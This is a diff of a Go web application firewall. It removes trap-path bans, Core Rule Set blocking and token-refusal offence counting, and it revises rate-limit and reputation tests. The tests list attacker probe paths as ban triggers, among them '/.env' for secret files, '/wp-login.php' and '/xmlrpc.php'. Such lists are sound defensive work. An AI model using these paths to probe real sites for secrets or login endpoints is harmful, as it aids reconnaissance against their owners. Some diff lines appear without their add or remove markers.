rq.h.metrics.ReputationHit(source)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
Netblock: clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
internal/proxy/reputation_test.go
+5 -94
View File
@@ -6,7 +6,6 @@ import (
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"strconv"
"strings"
@@ -14,7 +13,6 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -701,14 +699,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
wantAbuseIPDBChecks(t, server, 1)
}
// probePath is the path the ban rule of testRules, probe, matches, and
// blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -722,25 +713,13 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
want ratelimit.Offences
}{
{
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
"a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1},
},
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
"a ban rule", "/.env", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -748,7 +727,6 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, metricsToken: token, wafMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
@@ -758,8 +736,8 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
}
// Its next request, once any ban for a clear sign of attack
// has ended, has it checked.
// Its next request, once a ban rule's ban has ended, has it
// checked.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1)
@@ -893,73 +871,6 @@ func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
`instance="`+alertInstance+`",source="`+abuseipdb+`"}`)
}
func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
t.Parallel()
score := int64(90)
listed := []bans.ReputationHit{
{Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
}
for _, tc := range []struct {
name string
// ban sends the requests from the client at from that ban it.
ban func(s *sender, from string)
}{
{"for a broken rate limit", func(s *sender, from string) {
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
}},
{"for a clear sign of attack", func(s *sender, from string) {
s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
blocklistURLs: dropURL, blocklistAction: actionLog,
dnsblZones: dnsblZone, dnsblResolver: noResolver,
abuseIPDBKey: accountKey, reputationAction: actionLog,
})
// Every source lists client, and none otherClient, whose score is
// under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
loadScores(server, map[string]int64{client: score, otherClient: 74})
for _, banned := range []struct {
from string
want []bans.ReputationHit
}{{client, listed}, {otherClient, nil}} {
tc.ban(s, banned.from)
held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
banned.from, held, banned.want)
}
}
// The alert for each ban carries the same in its notes.
var alerted [][]bans.ReputationHit
for _, alert := range queue.Snapshot().Waiting[alerts.DestinationWebhook] {
if alert.Event == alerts.EventBan {
notes, _ := alert.Detail["notes"].(bans.Notes)
alerted = append(alerted, notes.Reputation)
}
}
if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
alerted, want)
}
})
}
}
// listsFetched is when loadLists has the copies fetched.
func listsFetched() time.Time {
return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC)
internal/proxy/request.go
+33 -64
View File
@@ -17,7 +17,6 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
@@ -64,19 +63,15 @@ type request struct {
// limits and for the byte limits.
counted bool
limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, wafBlocked for
// one the Core Rule Set refused, and tokenRefused for one refused for a
// missing or wrong token, each an offence its client's history counts.
attack, ruleBlocked, wafBlocked, tokenRefused bool
// attack is true for a request that matched a ban rule, and
// ruleBlocked for one a block rule refused, each an offence its
// client's history counts.
attack, ruleBlocked bool
// blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit.
blocklisted, dnsblListed, abuseIPDBHit bool
// reputation is the reputation sources that list the client, for the
// notes of a ban the request makes.
reputation []bans.ReputationHit
start time.Time
start time.Time
// checked is when the checks were done, and upstreamStart when the
// request was handed to the app.
checked time.Time
@@ -145,7 +140,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
RequestID: requestID(r, peerTrusted),
PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(),
ClientGroup: clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
@@ -188,29 +183,22 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
}
// check is the one place where a request can be refused once its client
// is known, before anything reaches the app, and before its body is read,
// but for the part the Core Rule Set reads. It returns nil to let the
// request through. The checks of checkClient come first, answered with
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
// is known, before its body is read or anything reaches the app. It
// returns nil to let the request through. The checks of checkClient come
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
// then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. A size or
// time limit the Core Rule Set's reading of the body meets ends the
// request in either mode. ctx is the request's own context.
// checkClient refuses goes on to the size limit like any other. ctx is
// the request's own context.
func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx)
refused := rq.refused.Load()
if refused != nil {
return refused
}
switch {
case action == "":
case rq.h.config.Observe:
// The log line names what enforce mode would have done.
rq.line.WouldAction = action
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
case action == requestlog.ActionRuleBlocked:
return &refusal{status: http.StatusForbidden, action: action}
default:
return rq.banResponse(action)
@@ -234,15 +222,14 @@ func (rq *request) check(ctx context.Context) *refusal {
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
// so that a client either refuses is not looked up, then the lookup of
// its AS number and country, then the country lists, then the blocklists,
// then the CrowdSec decision list, which bans the client it lists, then
// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
// them refuses is not counted for the rate limits. Then come the
// then the DNSBL zones' verdicts, and then AbuseIPDB's score; a request
// any of them refuses is not counted for the rate limits. Then come the
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit
// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
// Core Rule Set. A request exempt from the rate limits is exempt from the
// byte limits too. ctx is the request's own context.
// percentages, and last the rule files. A request exempt from the rate
// limits is exempt from the byte limits too. ctx is the request's own
// context.
func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) {
@@ -269,10 +256,6 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionDenied
}
if rq.crowdSecBanned(now) {
return requestlog.ActionBanned
}
if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
return requestlog.ActionDenied
}
@@ -289,24 +272,15 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited
}
if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
return rq.checkCoreRuleSet()
return rq.checkRules(now)
}
// pathExempt reports whether a request for u is exempt under prefixes,
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
// path contains .. anywhere or a backslash, or whose path as sent holds an
// pathExempt reports whether the rate limits leave out a request for u
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
// path the app receives, not percent-decoded, starts with one of
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
// router matches the path as received. A request whose decoded path
// contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does.
@@ -558,14 +532,14 @@ func timing(start, end time.Time) *float64 {
}
// addToHistory adds the request, which has ended, to its client's
// history, and counts its offences in the metrics, and then the lookup's
// answer about the client, as answerAtTheEnd gives it, to that history and
// to the notes of the bans on its netblock: an answer may have come
// before either was there, and one from GeoJS that comes later is added
// when it comes.
// history, and then the lookup's answer about the client, as
// answerAtTheEnd gives it, to that history and to the notes of the bans
// on its netblock: an answer may have come before either was there, and
// one from GeoJS that comes later is added when it comes.
func (rq *request) addToHistory() {
forwarded := !rq.upstreamStart.IsZero()
request := ratelimit.Request{
rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{
Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status,
@@ -574,12 +548,7 @@ func (rq *request) addToHistory() {
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack,
RuleBlocked: rq.ruleBlocked,
WAFBlocked: rq.wafBlocked,
TokenRefused: rq.tokenRefused,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
})
answer, found := rq.answerAtTheEnd()
if found {
@@ -603,7 +572,7 @@ func (rq *request) countAnomalies() {
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
Client: rq.client,
ClientGroup: rq.h.clientGroup(rq.client),
ClientGroup: clientGroup(rq.client),
ASN: answer.ASN,
ASName: answer.ASName,
Country: answer.Country,
@@ -632,7 +601,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.lookupAnswer, true
}
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
return rq.h.geojs.Kept(clientGroup(rq.client))
}
// requestBytes is how many bytes of the request's body have been read.
internal/proxy/rulefiles_test.go
+1 -5
View File
@@ -5,7 +5,6 @@ import (
"net/netip"
"os"
"path/filepath"
"reflect"
"slices"
"testing"
"time"
@@ -74,7 +73,7 @@ func TestEachRuleAction(t *testing.T) {
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
@@ -204,9 +203,6 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
internal/proxy/rules.go
+1 -20
View File
@@ -1,31 +1,12 @@
package proxy
import (
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding
// and without the query, is one of them. Such a request is a clear sign of
// attack, as a ban rule's match is: it bans the client's netblock, or in
// observe mode raises the alert for the ban it would have made.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule
@@ -53,7 +34,7 @@ func (rq *request) checkRules(now time.Time) string {
return requestlog.ActionRuleBlocked
case rules.ActionBan:
rq.attack = true
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
rq.banForAttack(now, last)
return requestlog.ActionBanned
default:
internal/proxy/staticlists_test.go
-1
View File
@@ -144,7 +144,6 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp",
rateLimitPerMinute: "1",
internal/proxy/trappaths_test.go
-115
View File
@@ -1,115 +0,0 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, as the client sent it, is a trap path.
for _, path := range []string{
"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php",
} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
internal/ratelimit/history_test.go
+4 -4
View File
@@ -11,7 +11,7 @@ import (
func TestHistoryKeepsEveryRequest(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -53,7 +53,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("198.51.100.7/32")
start := midnight()
@@ -90,7 +90,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
func TestResetKeepsTheHistory(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -109,7 +109,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
for client, requests := range map[string]int{
"198.51.100.9/32": 2,
internal/ratelimit/ratelimit.go
+37 -82
View File
@@ -2,9 +2,8 @@
// and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWWAF_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the
// state package.
// since it was first seen. At most 20,000 clients are kept, in memory, and
// written to clients.json and read from it by the state package.
package ratelimit
import (
@@ -17,6 +16,11 @@ import (
"github.com/hashicorp/golang-lru/v2/simplelru"
)
// maxClients is how many clients are kept. Past it, the least recently
// seen client is dropped, with its history, and starts afresh if it comes
// back.
const maxClients = 20000
const day = 24 * time.Hour
// The kinds of limits, as the metrics name them.
@@ -25,9 +29,6 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
// Limits are the most requests a client may make in a minute, an hour and
@@ -53,20 +54,18 @@ type Limiter struct {
}
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// of requests and of bytes in each window, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
History History `json:"history"`
}
// Buckets are a client's two buckets in one window: the requests, or the
@@ -118,19 +117,13 @@ type Responses struct {
}
// Offences are a client's offences, by kind.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, WAFBlocked those the Core Rule Set refused, and
// TokenRefused those refused for a missing or wrong token.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
TokenRefused int64 `json:"token_refused"`
// Limit is its requests that broke a rate limit or a byte limit,
// Attack those that matched a ban rule, a clear sign of attack, and
// RuleBlocked those a block rule refused.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
}
// Request is what a client's history keeps of one of its requests.
@@ -147,23 +140,16 @@ type Request struct {
// and of its response.
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
// one refused for a missing or wrong token.
BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
TokenRefused bool
// BrokeLimit is true for a request that broke a rate limit or a byte
// limit, Attack for one that matched a ban rule, and RuleBlocked for
// one a block rule refused.
BrokeLimit bool
Attack bool
RuleBlocked bool
}
// New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWWAF_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter {
// New returns a Limiter for limits, with no client counted yet.
func New(limits Limits) *Limiter {
clients, err := simplelru.NewLRU[netip.Prefix, *Client](maxClients, nil)
if err != nil {
panic(err) // NewLRU fails only for a size below one
@@ -188,18 +174,17 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
// Hit is a request that takes a client over a rate limit, or whose bytes
// take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
Kind string
// Window is "minute", "hour" or "day".
Window string
// Limit is the window's limit, as the client's percentage of it.
Limit int64
// Count is the client's requests, bytes or refusals counted in the
// window, this request's included.
// Count is the client's requests, or bytes, counted in the window,
// this request's included.
Count float64
}
@@ -238,25 +223,8 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent)
}
// CountRefusal counts a request from client at now that smallwebwaf
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
// Reset sets client's counts of requests and of bytes in every window
// back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -265,7 +233,6 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
c.MinuteRefusals = Buckets{}
}
}
@@ -306,14 +273,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
if r.TokenRefused {
h.Offences.TokenRefused++
}
}
// AddLookup gives client's history its AS number, AS name and country, as
@@ -423,10 +382,6 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
}
}
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c)
}
}
internal/ratelimit/ratelimit_test.go
+17 -70
View File
@@ -12,10 +12,6 @@ import (
// limit is the limit the tests set.
const limit = 3
// tableSize is the most clients the tests' tables hold, the default of
// SWWAF_MAX_TRACKED_CLIENTS.
const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers
// its limits.
const whole = 100
@@ -41,7 +37,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
t.Run(tc.window, func(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(tc.limits, tableSize)
limiter := ratelimit.New(tc.limits)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
quarter := tc.length / 4
@@ -66,7 +62,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -92,8 +88,7 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -124,8 +119,7 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel()
// Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -162,7 +156,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Run(tc.window, func(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(tc.limits, tableSize)
limiter := ratelimit.New(tc.limits)
client := netip.MustParsePrefix("203.0.113.9/32")
// 600 bytes are within the limit, 600 more over it.
@@ -186,8 +180,7 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
tableSize)
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000})
client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight()
@@ -211,7 +204,7 @@ func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
func TestCountGivesTheBytesInEachWindow(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -237,7 +230,7 @@ func TestCountGivesTheBytesInEachWindow(t *testing.T) {
func TestResetSetsTheBytesBackToZero(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000})
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -248,50 +241,10 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
